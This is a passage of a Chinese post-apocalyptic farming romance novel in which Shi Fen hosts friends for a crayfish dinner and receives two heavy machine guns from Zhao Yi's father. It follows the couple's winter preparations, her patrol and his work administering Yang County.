“糯糯最近很忙,跟着老中医上山采药呢,车也坐不下,不过秦丰他们会帮忙带一些小龙虾给她跟白芳吃的。”时枌解释。
“那顺便帮我带肉肉给糯糯吃!”阳阳说。
“好,有什么东西晚上带到农场来。”
“嗯嗯!”
吃完饭时枌回家继续干活。
她虽然不喜欢摇玉米,但是这活儿不干就永远干不完,没办法。
摇了一个多小时,把玉米粒扫到一起装袋,再去给棉花翻面。
最近太阳大,估计今天晒完棉花就能用了。
再检查检查红薯粉的状态,估摸着明天才能切成条。
最近太晒,土地干崩,不适合挖树桩,至少得等一场雨过后才行。
时枌在院子里逛了一圈,翻了堆肥,把能用的肥跟清扫出来的羊粪鸡粪混合,再加一些平时收集的草木灰,洒到院子的田地上,再一铁锹一铁锹翻土,让肥到土里面去,这样就不会太臭,之后再下雨,这些东西就会在土
里发酵。
翻了一片地,就去给鸭子的大缸换水。
鸭子特别喜欢水,所以养鸭子一定要有个水池或者水缸,还要水桶给它们经常喝水。
又去看了小鸡状态,再去看笼子里养的野鹌鹑。
最近倒是没收多少鹌鹑蛋,就几个,时枌都存着打算冬天再吃或者挑一部分孵小鹌鹑。
时枌就在农场盼啊盼,时不时给自己找点事干,终于,在晚饭时间等到了车。
从阳县方向过来的,远远就听见周霓跟她打招呼,一群人像是要从车里跳出来一样四仰八叉地从车窗冒了出来,到了前院门口停下,周霓迫不及待拉开车门下车,抱着时枌一阵腻歪。
“枌枌我好想你啊!”
“我也很想你啊。”
张照照抓抓脑袋:“时枌我就不抱你了啊,我也挺想你的。”
骨头一脸惊恐看着他:“你疯了吧,赵队还在呢。”
时枌:“他不在,今天去兰城办事了。”
骨头:“不在也不能这样啊。”
秦丰停好车就搓着手钻进厨房,手里还拎着从阳县带来的料酒跟调料,一边嚷嚷:“虾呢?我的小龙虾呢?”
时枌:“在后院,水龙头旁边,正好你们来了,赶紧刷虾吧。”
一群人就分散开,各自分配了任务干活。
骨头生火,张照照去收晒好的棉花,周霓跟叶枝蔚去刷虾。
时枌教她们,“直接拧虾尾,再抽虾线,大的虾就我来处理吧。”
大的可以吃虾头,肉多一点,用剪刀剪掉虾头尖端把脏东西挑走就行。
因为虾实在是太多,装了三个脚盆两个水桶还有多的,甚至外边田埂还下了好多地笼,时枌正好记起来,秦丰就让她带上骨头去了一趟,把虾都带回来。
正在刷虾的周霓看见这么一大堆虾心态差点崩了:“不是吧!还有这么多?!”
时枌:“放心放心,这是直接送到阳县的,我们今天不用处理。”
周霓这才松了口气。
叶枝蔚干活细致,刷虾也格外慢,后来秦丰都在催了时枌就把张照照也叫过来一起刷,才赶在秦丰出来发火前刷完。
这么多虾,时枌那么大的锅一锅都烧不完,只能分两锅烧。
今天有秦大厨,佐料也齐全,前几个菜都做好了,甚至罗辉今天逮回来的兔子野鸡都下了锅,余袅罗辉在厨房帮忙,烈烈跟阳阳就在外边玩,小龙虾是最后出锅的,大家都饿了一整天,终于能坐下来好好吃饭。
盛饭的时候,就听见外边的动静,有车声,秦丰第一个跳起来去迎接,赵弋直接把车开到门口,没想到屋子里这么多人,看见秦丰心道不好。
果然,下一秒秦丰就飞奔过来,拉开后备箱就开始挑挑拣拣。
“哟!有酱油啊!怎么不早说!还有醋!正好我那皮蛋没味道!”
“……”
“这么多粉条吃的完吗,这一箱是什么?卧槽!白酒!哪来的?”
“我爸给的。”偷偷塞给他的。
“后座上黑漆漆布盖着的是什么玩意?神神秘秘的。”
“我爸给时枌的礼物。”两挺机关枪,他爸说正好架在她农场哨塔上。
秦丰去揭开布看了一眼,眼睛顿时瞪大,“你爸真……有点东西。”
这玩意都能给他搞出来。
赵弋也觉得他爸牛,亲自送他出城,黑着脸盯安检,那安检的小兵愣是没敢查就恭恭敬敬地把他放出来了。
“等等……这一箱放副驾驶,肯定是好东西。”秦丰跟条狗似的冲着副驾驶就扑过去,赵弋根本没来得及拦。
打开一看。
哟。
全是套。
秦丰两眼放光,想都没想就往怀里揣,围裙都装得鼓起来。
“够了啊。”赵弋提醒,其他人都站门口观望问他们怎么还不来吃饭。
但谁也没能割舍的下小龙虾,只有罗辉被派过来帮忙搬东西,靠近之后看见秦丰怀里的东西,厚着脸皮伸手:“要不卖我几盒?”
赵弋:“……”
秦丰很是慷慨,从箱子里抓了一把塞他手里,罗辉一个淳朴的汉子,黑脸一红,连忙塞口袋里了,生怕被人看见。
秦丰嘻嘻哈哈,又去掏箱子,被赵弋忍无可忍一脚踹腿上,“滚。”
“你一个处男用的明白吗囤这么多!”
“……”
秦丰把东西藏他们车上,这才帮忙搬东西进屋。
边搬东西还边跟赵弋嘀咕:“你爸对你真好啊,连这个都成箱成箱地买,下次你啥时候还去兰城,给我带一箱呗?”
赵弋:“滚。”
“别小气嘛,我也是有需求的,我花钱买还不行?”
赵弋还是那个字:“滚。”
罗辉默默听着,只帮忙搬东西不搭话。
桌子上已经被周霓骨头他们吃了半张桌子的虾壳,时枌昨天吃的太多其实今天不怎么馋小龙虾,只是今天秦丰做的佐料齐全味道好一些她才吃,不像他们盯着虾,时枌好久没吃肉了,吃了好几块鸡肉兔肉,看见赵弋回来招呼他赶紧坐下,不然一会儿连肉都没得吃。
赵弋在兰城吃过晚饭,但她让他坐下,他就坐她旁边,拿起筷子给她夹菜剥虾。
秦丰乐乐呵呵地开酒,一人一个杯子,开始倒。
时枌惊奇:“哪来的酒啊?”
赵弋:“我爸送的。”
“都开了?”
“有一整箱,放心吧。”
时枌松了口气。
不是她小气,主要是酒这东西难得,她昨天做小龙虾就没放酒,她不太爱喝,但是做菜用得上呀。
“你自己吃吧,我都吃饱了。”时枌看他只给自己剥虾用胳膊肘怼了怼他胳膊。
正好秦丰给他倒酒,满满一杯白的,秦丰跟他挤眉弄眼。
时枌不明所以。
赵弋只想把秦丰的狗脑子摁进小龙虾里。
第122章 第122章“早上好。”
他们这几个在阳县憋了这么多天好不容易小龙虾配白酒,就连叶枝蔚都喝了不少,一桌人各个都脸通红,只有时枌因为不太爱喝,还算清醒。
其余人还在喝酒,时枌就把一楼两个房间收拾好了,给他们分好了男女宿舍,叮嘱叶枝蔚到时候扶周霓去睡觉。
叶枝蔚表示没问题,看桌上骨头秦丰还拉着赵弋灌酒实在忍不住翻了个白眼,“我先去洗个澡,你帮忙看一会儿?之后我再来扶周霓。”
她带了换洗衣服过来的,预备着明天要上班。
“好,你去吧。”时枌就坐在赵弋对面,时不时冷冷瞥他一眼。
赵弋也没办法,秦丰跟条赖皮虫似的,他根本抽不开身。
他酒量不差,但经不住两人这么灌。
本来张照照还跟着凑热闹,喝了两杯就倒了,趴在桌子上睡得跟猪似的,但现场这几个中时枌搬不动他,叶枝蔚不太清醒,周霓还在喝,那三个男的根本不打算管他,没多久老六就睡到凳子上了,抱着凳子腿直流口水。
时枌耐心等了半天,周霓过来抱着她腻歪说今天要跟她一起睡。
时枌:“……算了吧,我怕你吐我身上。”
“呜呜枌枌你不爱我了!”
“本来也没多爱啊 。“时枌捏捏周霓没什么肉的脸颊,不愧是大美女长相,身上的肉都长在该长的地方,面容精致得跟天天带妆似的,在养猪场工作也磨灭不了周霓的美艳,“你要不去睡觉?明天还得上班呢。”
周霓说不要,摇头晃脑让骨头给她倒酒,骨头给她倒半杯洒半杯,看着桌子上的酒时枌心在滴血。
真心疼啊。
等叶枝蔚洗完澡出来,她彻底清醒了,帮忙扶着烂醉的周霓去睡觉,周霓还不太老实,抱着叶枝蔚继续腻歪,叶枝蔚抽不开身,只能时枌自己一个人出去。
还好,秦丰倒下了。
骨头也原地扭秧歌。
只有赵弋稳坐如山,甚至起身收拾桌子,——这男人干家务干出条件反射了。
时枌一个人可拽不动秦丰这只牛蛙,看张照照躺地上睡的那么香,时枌很开朗地觉得他们男人皮糙肉厚这么睡一晚没什么事,就连赵弋她也不想管。
她看看现场没什么要处理的,桌子明天收拾就行,而她困的不行,打算上楼休息。
结果脚刚踏上楼梯,厨房传来一阵动静,像是有什么重物落地,时枌还是不太放心,转身去看。
赵弋扶着门框爬起来,一身酒气,看见她扬了扬眉毛,伸手。
时枌以为他摔倒了,出于好心伸手去拉,却被人拽进怀里,后背压在门框上,迎面靠近一张俊脸,鼻尖都被压得一酸,唇舌就被捕获。
酒气太重,时枌很不喜欢,亲了没一会儿就使劲推开他,“你今天睡沙发。”
她拉开两人之间的距离,嘴巴都被他咬了一口,不太高兴地抿着唇。
“我没喝醉。”他盯着她的脸,从鼻尖到下巴,手圈着人腰摁向自己,意欲再明显不过。
“这是几?”时枌伸出两个手指头竖在他眼前,晃了晃。
“别晃,是三。”他抓住她的手指,好看的眉眼被晃的显出几分迷惑。
“三什么三。”时枌冷哼一声,外边客厅还有秦丰嚷嚷的动静,她可不想这副样子被人看见,虽然是几个醉鬼,“上楼去。”
“……”
赵弋知道自己答错了默不作声,乖乖跟在她屁股后边,只是非得拉着她的手,别别扭扭地上楼梯。
时枌觉得自己跟带小孩似的。
到了二楼,时枌让他去沙发睡,自己要回卧室,又被人拉着手认真问:“为什么睡沙发,我做错什么了?”
“你喝多了,很臭,会弄脏床。”
他倒是自己低头闻了闻,然后给出了个一个看似经过深思熟虑的答案:“没有酒味。”
“……你喝多了满嘴谎话。”
“……”
他怎么说什么都被拆穿?
他紧紧拉着人手腕,往自己身前带了一下,“洗完澡能进去睡么?”
“你还能洗澡?”时枌就很惊奇。
他这状态能洗澡就见鬼了。
他固执地追问:“洗了澡就进去睡么?”
“行啊,你得洗干净。”时枌很大方。
赵弋一脸坚毅起身去浴室,关上了门。
他确实没喝醉,只是手脚不受脑子控制而已,思绪很乱,先给自己倒了一盆水仔仔细细洗脸漱口,再用肥皂全身仔仔细细地洗,确保自己香香的。
这就导致,赵弋这个澡洗的比平时要长得多。
时枌不可能完全不关注他,万一他洗澡摔断腿怎么办?那她农场里的活以后谁来干?
时枌在床上一边看书一边听浴室的动静,水声一直就没停过,一直哗啦啦的,似乎真的在认真洗澡。
估摸着过了半小时,时枌都在打哈欠,书丢到一边准备睡觉,就被一个清新又带着丝丝酒气的怀抱拉了起来,坐在人腿上摁着亲吻。
他还刷了牙,清凉的薄荷味道让时枌大半夜一下子就不困了。
今天格外不一样,她从困到不困只需要一个吻,就彻底陷入潮热的呼吸之中,舌尖被勾着吮着,时枌跟喝多了似的脸红扑扑的,腰侧也是他明显肤色偏深的胳膊,她稍稍清醒,扭头不想他继续,他就埋首在她颈间,湿漉漉的吻一个接一个,时枌去扒他脑袋,手掌捂着人作乱的嘴。
他急躁又有耐心,没挣扎,大手盖着她的手,仰面亲吻她掌心。
“要点脸吧。”时枌气得抽手,呼吸乱的不成样子。
赵弋只是笑,靠过来亲亲她,“昨天不是说好的?”
他这会儿说话可太清醒了。
连昨天说了什么都记得这么清楚。
时枌怀疑他在厨房都是装的。
“楼下好多人……”
“都喝醉了。”他低头继续在人颈间作乱,另一只扣在腰间的手往下逡巡。
时枌闷哼一声,看了眼卧室门。
他进来时卧室门都关好了,看来是真的清醒。
“那你……动静小点。”她偷偷小声地说。
答应了,赵弋却没着急,比平时更有耐心地伺候着,在她憋着喘气时又将人放平,胳膊向下,滚烫的吻落在腰侧,吓得时枌一脚差点蹬他脸上,被他捏着脚踝在手心摩挲。
她知道他没醉,但没想到他清醒到这个地步。
非得等她呜咽出声,才重新抬首,从脱下的衣服口袋里掏出一只,视线始终落在她潮红的脸上,整个卧室安静得不像话。
已经感受过的时枌突然意识到,他的正餐才刚开始。
楼下三只猪呼呼大睡,楼上卧室两人忙活了大半晚。
一开始时枌沉沦其中,稍稍清醒被人亲着脸颊安抚时无意中瞥到他手腕上的手表时间,心想都两点了,总该睡了吧,还没问出声,就听见某人干脆利落地撕开第二个,让她头皮一紧。
“不、不用吧?”
“嗯?还早。”
时枌记不太清几点睡了,反正她做了个噩梦,梦里都是他的声音,跟无底洞似的。
今天虾没吃多少,大晚上给她撑饱了。
第二天一早某人还在颈间作乱,心情很好地跟她说:“早上好。”
“……”时枌很不想搭理他。
以前还不知道这人在床上话这么多,时枌上一次被哄着说“真厉害”还是小时候帮爷爷奶奶去地里插秧苗。对赵弋来说,哄人是要哄的,出去是不可能的,时枌昨晚上了好几次当,现在想想都气得牙痒痒。
她不想起床,拉起毯子盖上脑袋,反正楼下那群人昨天喝得跟猪似的,应该不知道他俩干了啥,“你去收拾桌子,送他们出门,就说我在睡觉。”
赵弋没睡几个小时,依旧身心愉悦,隔着毯子在人脑袋上亲了两下,“好。”
这声好跟昨天哄她放松的时候语气一模一样。
赵弋出去还给她带上卧室的门,下楼就看见被闹钟吵醒一脸生不如死从地上爬起来的秦丰几人。
他们今天还得去阳县上班。
没什么比宿醉之后早起上班更痛苦的了。
跟他们一比,不用上班的赵弋就像个占尽便宜的异类,一大早上自己给自己倒水喝,神清气爽的穿着干净的衣服,明显洗过澡,不像他们一个个浑身酒臭昨晚醉得太死澡没洗衣服没换精神萎靡得跟丧尸似的。
他们忙着出门,赵弋跟个合格的家庭主夫一样,从厨房拿了抹布,先把桌子上的盘子碗收好,剩菜倒掉准备给猪吃,再擦桌子,然后进厨房洗碗。
“老赵昨天打鸡血了?一早上这么精神?”萎靡的秦丰满脸写着难以理解。
叶枝蔚起的早,——其实她昨晚就没睡着,楼上动静太大了。
作为唯一一个清醒的人,叶枝蔚顶着黑眼圈悔恨自己昨晚喝的太少。
秦丰一脸肾虚地叫上骨头去搬小龙虾,招呼几人上车,他还得当司机开车去阳县。
周霓脸色苍白,上车继续睡。
张照照爬都爬不起来,是被骨头跟秦丰抬上车的。
秦丰迷迷糊糊发现没看见时枌,问赵弋:“时枌呢?”
赵弋张口就来:“她喝多了,还在睡。”
秦丰:“没吧,她昨天没喝多少啊,我记得她挺清醒的。”
叶枝蔚:“……”
“你记错了,她喝了很多。”赵弋一口笃定,说得跟真的一样。
秦丰继续质疑:“总共就三瓶酒,都是我亲自倒的我能不知道?老赵你昨天是不是喝多了脑子喝糊涂了?”
赵弋:“……滚吧。”
叶枝蔚一脚踹秦丰屁股上,“别废话,开车,上班要迟到了。”
秦丰嘀咕两句,临走之前叮嘱赵弋:“粉条留着啊,我下次来给你们炖鸡吃!别浪费了!”
赵弋:“”
第123章 第123章“我比你懂要怎么过冬……
这群人来一趟屋子都乱七八糟,赵弋精神很好地把昨天吃剩的虾壳收拾好给鸭子鹅吃,这两天加餐,它们都挺高兴,看见赵弋过来扯着嗓子叫唤。
全屋开窗通风换气。
他们几个醉鬼都是在堂屋睡的所以一楼房间不用收拾,另一间房有叶枝蔚已经收拾好了,赵弋就把厨房客厅扫了一遍,再拖地,彻底清理完,看看时间要做饭了。
正好水桶里还有几条鱼,他就去处理了,打算中午吃红烧鱼。
他在心里列好了菜单,洗完手上楼去,看见时枌趴在床上翻书,问她吃不吃鱼。
“可以。”她很高冷地回。
“怎么趴着?”
“腰痛。”
“哦。”
不用问为什么了,她腰痛的原因他很清楚。
赵弋选择换个话题,“我爸给你带了礼物,要不要下去看看?”
“什么礼物?”
上次他爸给她带的他妈送的礼物,一个玉镯子,时枌觉得戴手上不舒服,而且这玩意容易碎,就放盒子收柜子里了,没再管,这年头镯子对她来说没什么吸引力。
“你会喜欢的。”他说。
时枌狐疑地看过来。
这话他昨晚上也说过,说她会喜欢的,然后去了浴室脚没沾过地,累的她一早上腰还不舒服。
“真的,好东
西。“他从她眼神中看出什么,没忍住笑了,俯身去拉她。
时枌就顺着他的力气起来了,踩上拖鞋,嘀嘀咕咕的,“能有什么好东西。”
下了楼,赵弋从车里搬出两挺机关枪,时枌眼睛缓缓睁大。
“哇哦——”
她真的很喜欢。
赵弋指了指她家的哨塔,“只有两挺,我爸说年前再给你搞两挺,一个哨塔上放一挺,子弹也给你备好了,这次只运来一箱,下次会多一些。”
“你爸爸可真好。”时枌感叹着,去摸了摸这两挺M2重机枪。
她也有轻机枪,但是这种大杀器还从来没摸到手过,只是之前在阳县看见过他们有,远远看了一眼,她羡慕的不行。
通身漆黑的大玩意,长长的枪管,模样看上去有些笨重,不像她其他的枪那样轻便,重量也大,将近四十公斤,子弹消耗也快,但是,它真的很厉害啊。
时枌爱不释手,都不想把它们放上哨台风吹日晒的。
“放心,会给它们装起来。”赵弋说。
她脚不方便,不好爬哨塔,赵弋就帮忙把这两挺重机枪运了上去,子弹也搬上去放好,再用布盖起来。
他这么殷勤,一楼也收拾得干干净净,时枌心情就好了很多。
午饭是红烧鱼,炒茄子,煎蛋,昨晚剩菜都喂猪了。
赵弋的假期没剩几天了,两人吃饭的时候就商量这几天要怎么安排。
“玉米就我来摇吧,你去把地翻一翻,再收拾院子堆肥,修剪果树也是我来,你去挖树桩。”
修剪是技术活,她怕他干不好。
“行。”赵弋一口答应。
两人都知道最近全是硬活儿。
时枌吃完饭就去摇玉米粒,赵弋则是去把院子里杂草拔了拿去堆肥,再把堆肥箱翻了一遍,忙完这些趁着太阳落山天气转凉,一天雨后,他去开挖掘机挖树桩。
农场残留的树桩可不少,一挖一个坑,之后还要填平,扎扎实实的力气活。
时枌摇玉米要是胳膊累了,就去工具房整理她之前扦插播种的小苗。
整个农场还是空空的,等赵弋把那片地清理出来,她就要开始种更多的花花草草还有果树了,还得抽空去一趟之前定位的“苗圃”。
天晴了,余袅过来帮忙给棉花去籽。
两家都要用棉花,去籽是首先第一步,时枌家里有去籽的工具,两人一起速度比较快。
余袅好多年没见过棉花去籽的工具了,十分稀奇:“你家里怎么会有这么多工具啊?”
时枌正在调整,这个全木质的工具还挺复杂,一个踏板用来摇,两根圆木中间有一定的缝隙,一朵棉花放进中间,圆木开始摩擦,这样把棉花里面的棉籽给“搓”出来,只留下柔软的棉花。
她边干活边回复:“不是我家的。病毒爆发村子里死了不少人,屋子全都空了,我们家比较幸运没有感染,后来把丧尸清理干净,我跟爷爷奶奶就去各家搜一些需要的东西,这些工具也是从别人家里搬过来的。”
她们家没被丧尸闯进来主要是因为围了房子一圈的院墙,以及她爷爷是个老猎人,家里有猎枪,老爷子身强体壮的,带着她们硬生生把整个村子都“扫荡”了一遍,奶奶都骂他是“土匪”,爷爷只管笑呵呵,并不反驳。
“你们要是闲着也可以去找一找,这附近房子基本都没人也没丧尸,都被我清理过了。”时枌说。
余袅跟罗辉毕竟刚搬来这边几个月,比较拘谨,这边靠着池塘平时有鱼吃,背靠大山偶尔还能上山狩猎,还有时枌这么大个农场隔三差五送蔬菜瓜果,甚至还教他们怎么种菜,一家四口填饱肚子不是问题,至于其他的,他们都是慢慢来。
“行,改天我们去看看有没有什么可以用的。”余袅笑着说。
刚搬完树桩又晒黑的赵弋去冲了个澡,问时枌午饭吃什么。
“随便吧,不是很饿。”
“行,那我有什么做什么。”
他俩说着吃什么,余袅自己搭话:“我一会儿回家去吃,不用蒸我的饭。”
“好,那就不留你吃饭了。”时枌说。
她刚刚也在想要不要留人家吃饭,但是余袅肯定是要回家的,一个人跟他们吃好像有点奇怪。
聊到吃饭的话题,余袅笑了起来。
“上次你们从兰城带过来的调料真及时,我们家缺这缺那,我都想着要不要自己做酱油。”
没有调料,肉就不好吃,烈烈跟阳阳嘴越来越刁了,偏偏两个孩子都爱吃辣,她种的辣椒还没长大就下了锅。
余袅笑着说家里的琐事。
时枌也想起来,“我家辣椒也要收了,明天我收完给你送过去,晒一晒成干辣椒,冬天也能吃。”
“哎呀,我说这个不是问你要辣椒的意思。”余袅脸一红,她就是随口说了一句。
“我知道,但是我家辣椒是真的吃不完呀。”
时枌种菜主打一个量大管饱,远远超出自身消耗,种的多了苦恼就是吃不完,辣椒这玩意猪也不爱吃,阳县食堂那边要的分量也比较小,对她来说就是一种负担。
趁着赵弋在家,时枌把能安排的都安排了,假期最后一天,马场的地平平整整,菜地干干净净,牲畜栏都被清洗了一遍,时枌非常满意。
她还很贤惠地帮他收拾好了衣服,赵弋晚上洗完澡看见只有自己的行李,终于意识到不对劲。
“你不去阳县?”
时枌抬头一脸无辜:“我去干嘛?我又不上班。”
语气理直气壮。
“……”
那最近几天总说累是怎么回事?他开荤一天歇四天是怎么回事?他还想着去阳县天天有热水洗澡更方便。
“那你一个人在这边,”赵弋深吸口气,拉着她在床沿坐下,“忙得过来吗?”
“忙得过来啊。”她很清闲的,“活不是被你干完了吗?”
“对哦,你下次回来要跟我一起去苗圃挖苗。”
之前标记定位的一座荒废花园,里面全是各种花草,已经正式被时枌命名为“苗圃”,等待着她的光临。
赵弋再次平心静气:“那你不想去看看白芳跟糯糯吗?上次她们没来吃小龙虾。”
“这几天不想去,过段时间你再来接我吧,我要在农场干活。”
“……”
反正她不想去。
赵弋总不可能逼她陪自己去阳县。
但是他不得不去。
下一批迁移居民明天到达,他啃老啃来的一批精英也会跟着一起来,他明天必须到场见一见这群人,先笼络人心,再派人干活,争取年前渗透进发电厂,保证阳县安稳过冬。
冬天,也是危险的。
在外流浪漂泊的旅客会在天气变冷时寻找新的、安稳的住所,每每临近冬天,兰城都会戒严,加强巡查,城门安检会更严格。
阳县没有兰城那样坚固的城墙,全靠他们人力巡查,过冬时更需要谨慎。
这也是为什么赵弋上任之后抓紧时间练兵派发任务,让这些新兵都出去清理丧尸跟可疑人员。
看他不高兴,时枌也很能理解,非常友好地去抱抱他:“没关系的,你偶尔还是能回来的,我说过呀 ,不介意你打两份工。”
这是两份工的问题吗?
赵弋沉默了。
“你要去阳县办自己的事,我农场的冬天也要自己过呀。”她也知道冬天难熬,今年她的农场扩张,地盘更大了,还有新邻居,装备也多了。
但是,外边的威胁始终存在,越是安静越是说明他们还在蛰伏。
她也得跟罗辉商量该如何度过这个冬天。
他将人抱到自己腿上,埋首在颈间,搂得紧紧的,“明白了。”
缓了许久,赵弋才开口:“冬天我会跟他们一起外出做任务,可能会经过这附近,到时候你注意辨别,我们的人会穿着作战服,你认识的那种,有机会我会回来。”
“嗯。”
“马场门口老大的狗窝做好了,别心疼它们,至少留两只在外边,以防万一。”
“我知道的。”时枌手指碰着他后颈的短发,有点扎手,“我比你懂要怎么过冬。”
赵弋被噎了一下,看她认真的玩着自己的头发,低头去蹭她脸颊,长长呼出一口气,“有什么需要给我发消息,平时出门戴上手表。”
“你好啰嗦。”她不太耐烦地扯了下他的头发。
第124章 第124章“讲重点。”
为了哄赵弋去阳县上班,时枌着实费了腰,哼哼唧唧趴在枕头上,眼泪在眼眶里打转,让赵弋替她揉小腿肚子跟腰。
外边晨光熹微,天都快亮了,时枌抬头看了一眼,愤愤闭上眼踹了他一脚催他去上班。
什么好人为了吃肉觉都不睡的啊。
时枌算是狠狠见识了。
他心情很好地俯身亲亲她,叮嘱:“每天给我发消息,等下次去兰城给你换一个跟我一样的卫星手表。”
这样就不会因为信号问题收不到消息了。
“随便,你要迟到了。”
其实早得很。
他开车去兰城也就四五十分钟,八点出门都来得及,更何况现在才六点多。
“酸辣粉吃不吃?”他还记得她之前喊饿。
时枌确实是饿了,酸辣粉她也没吃过,但是听赵弋这么说就知道肯定是他从秦丰那里学来的早餐新样式。
“吃。”
吃完再睡觉也来得及,赵弋上班去了她就能睡一整天都没人管。
“好,我下楼做,你先躺一会儿。”
正好她做的红薯粉也好了,酸辣粉这东西重点在红薯粉跟调味上边,现在佐料齐全,赵弋生炉子烧水,再去菜地揪了一把小葱,回来切好,水烧开红薯粉丢进去先煮着,按照秦丰之前给的菜谱调味,甚至花生碎他都有,头一次完完整整按照菜谱来做,等红薯粉煮好,再把粉条装进调好味道的碗里,加一点汤就行。
这个时间来不及煮骨头汤,可能没那么香,但看这个卖相已经很不错了。
做了两碗,还煎了两个荷包蛋,端着两个碗上楼的时候时枌还趴在床上哼哼唧唧地给自己揉腰,鼻子灵敏地闻到香味一下子扭头过来,那动作快的,赵弋都担心她会扭伤脖子。
时枌第一次吃酸辣粉,加上肚子又饿,头一回吃饭比赵弋还快,他磨磨蹭蹭吃完,跟她又叮嘱几句,啰嗦得很,跟生离死别似的,才带上行李下楼,走之前还不忘把碗给洗了。
时枌趴在床上准备睡觉,听见外边的车声,莫名有几分想念。
等她睡饱再起床,已经是下午两点多。
翻身顺畅,身边没人,她愣神片刻想起来赵弋上班去了没人黏着她,很快就反应过来,下楼给狗子们做饭去。
别说,还真有点想念他呢。
喂完狗,时枌趁着天亮,刚下过雨,温度又降了一些,正适合干活。
田埂上的豌豆花生她没时间去收,都是麻烦罗辉跟余袅去收的,这是她春天播种一年打理的产物,收了之后罗辉就分了一大半给她,时枌今天就打算开窑,烘豌豆,再顺便烤一些面包方便她外出的时候吃。
时枌现在做面包已经非常熟练,无论是甜口的还是咸口的都能行,自己还能根据不同的面包控制不同的烘烤时间。
烤面包的间隙,她就去菜园收种子。
只剩下一大片辣椒还没收,种子收集整理好放进工具房她才去收辣椒。
大大小小都有,大的留着今天做晚饭煎着吃,小的就趁着有太阳晾晒成干。
收拾家里花了一天时间,第二天时枌就带上自己的烤面包烘好的豆子以及枪和虎子跟罗辉打了招呼,出门去。
放在阳县,她现在就叫做“巡查”。
只是阳县人多,能分组派任务早晚巡查,他们这片地方地广人稀,她就跟罗辉商量好了,她出去巡查几天,他们家帮忙照顾牲畜,下次就轮到他。
天气越来越冷了,前段时间兰城迁移居民到阳县还有一堆事情发生,连带着她的农场也跟着安稳了不少,外边游荡的人知道兰城军队频繁出入,当然就不敢过来,但是现在趋于安稳,说不定就会有人偷偷溜过来。
时枌只带了一条狗也是为了方便隐蔽。
她手里有手表有地图,提前规划好了路线,现在只需要沿着自己规划的道路走就行,她目前所在的就是沿着柏油路的一片森林,隐藏自己的同时观察蜿蜒平坦的柏油路上是否有其他人。
她爬上树,用望远镜看。
偶尔会看见几辆车,但都是兰城的车,看装备就能看出来跟一般的常年在外居无定所的人不一样。
看来兰城到阳县这条路线兰城费了大功夫,以至于到现在也没人敢接近。
时枌在树林里也遇到了丧尸,不过都是零散几个,可能是从别的地方跑过来的,也有可能是之前就在这只是没被人发现。
用刀解决,丧尸尸体丢在树下灌木丛当肥料,她找了个地方清洗刀上还有手上的血污。
这片区域她来的少,必须要更警惕。
虎子也很懂事,提前帮忙探路,时刻警戒,一旦有什么动静就会靠近她示意。
走了大半天都没见着什么人影,时枌还以为是因为最近天不够冷,没有人找到这处来,在树上吃着碗豆,刚准备给树下虎子一块腊肠面包,就听见虎子用爪子刨树的动静。
这是有人接近的信号。
时枌模仿两声鸟叫安抚虎子,一边嚼着碗豆一边用望远镜继续看,终于,看见了一伙儿人。
一共五个人,都是年轻男女,三男两女,其中一个女人肚子明显凸起,被其他几人格外关注,应该是怀孕了。
时枌沉思片刻,下了树。
这种组合对她来说没什么威胁,他们几个人身上就带了刀,还是菜刀,连枪都没有,——也有可能是藏起来了,她用望远镜没发现。
但是一个有孕妇的队伍,她当然是不想跟人家发生冲突,最好是收拢,送去阳县增加人口,正好这几个看上去也非常年轻,是不错的劳动力。
时枌想明白后,叫上虎子,迎上前去。
***
阳县。
新一批迁移居民已经到了,农业部管里房产田地的部门正在帮忙分房子,人事部在一个个收集详细信息安排工作。
同这群灰头土脸甚至都没有多少行李的源城难民一起过来的,还有拖家带口被赵弋爸妈安排过来的一群人。
形成了两道明显的分界线。
其中一位中年男人,一身兰城公务员制服,头发都打理得一丝不苟,身后站着他的妻子儿女,主动上前跟赵弋打招呼,笑容和善,语气亲近,“我是唐璟的同学,林浓,这是我的爱人跟孩子。”
赵弋很客气,“林叔叔好。”
这位他妈特地跟他提起过,其实在兰城的职位甚至比他妈还高一级,只是因为得罪了城主,这几年日子格外难熬,去年差点因为收受贿赂被关进大牢。
“这边的事情比较简单,公职人员统一安排在基地后的家属楼,目前空房间比较多,一会儿会有人安排您去看看。”赵弋说。
“房子我都随意……”林浓话刚出声,旁边他爱人就揪了下他袖子,他轻咳两声改口道:“那我去看看,赵指挥我什么时候能开始工作 ?”
“随时,先给您安排在行政部,熟悉一下环境,行政部在三楼,安置好直接来办公楼就行。”赵弋想了起来,“最近我刚休假回来,事务繁忙,可能近一个礼拜都会加班到晚九点。”
“这没问题,毕竟要过冬,可以理解。”
林浓在兰城这批人当中是从前职位最高的,又有他妈这层关系在,可以信任,有了他这个例子,其余兰城人也就安了心,小声议论着,配合基地的工作人员的安排。
今天小事格外多,赵弋基本上就没什么闲下来的时间,抽空还要听探险小队的任务汇报,这是他了解阳县外的唯一途径,因此格外重视,另外张克也等着他商量基地这批新兵的安排。
只有当两件事间的间隙,他才会看看手表上时枌的定位。
她出门了。
虽然提前跟他说过,但赵弋每每想到她一个人在外,平静的心总是会慢慢变得焦灼,心情也会跟着差到极点。
他如果没有阳县的工作,陪着她一起留在农场的话,他会安心很多。
可是想要真正的安稳,不是他一个人留在农场就足够的。
于是他沉下心来,时不时给她发消息,再完成好自己的工作。
基地新人要一个个熟悉,新的居民也要一个个安排。
安置好新来的迁移居民,行政部给他安排了一间会议室,他的副官兼秘书给他排了一系列的任务汇报,当然,在此之前,是张克领着几个基地军队的人来跟他开会。
自从从办公楼解放,张克整个人精神状态良好,假肢舞得起劲,恨不得每天在军营工作十二小时,——对此赵弋只是冷笑。
这种嘴上说热爱工作想干十二小时,实际上真给他安排下去还是会来他这抱怨想要休息。
这栋办公楼真正十二小时制的就只有他这个最高指挥官,而且得知时枌这次没跟着他来阳县后,他的副官特地安排他住在了办公室,说这边网络稳定,方便他下班时间也能继续工作。
“新来的这批我分散下去了,素质好的先领队试试,最近外出任务频繁,正好缺人。”张克说。
他们阳县跟兰城的任务是统一且实时更新的,一般来说基地的士兵的收入除了固定工资,就是外出做任务的奖励,只是兰城那边发布的任务都是兰城周边的,阳县毕竟离兰城有段距离,所以这次去兰城,赵弋也争取到了一部分阳县发布任务的权利,这部分他昨天就已经安排给秦丰去干了。
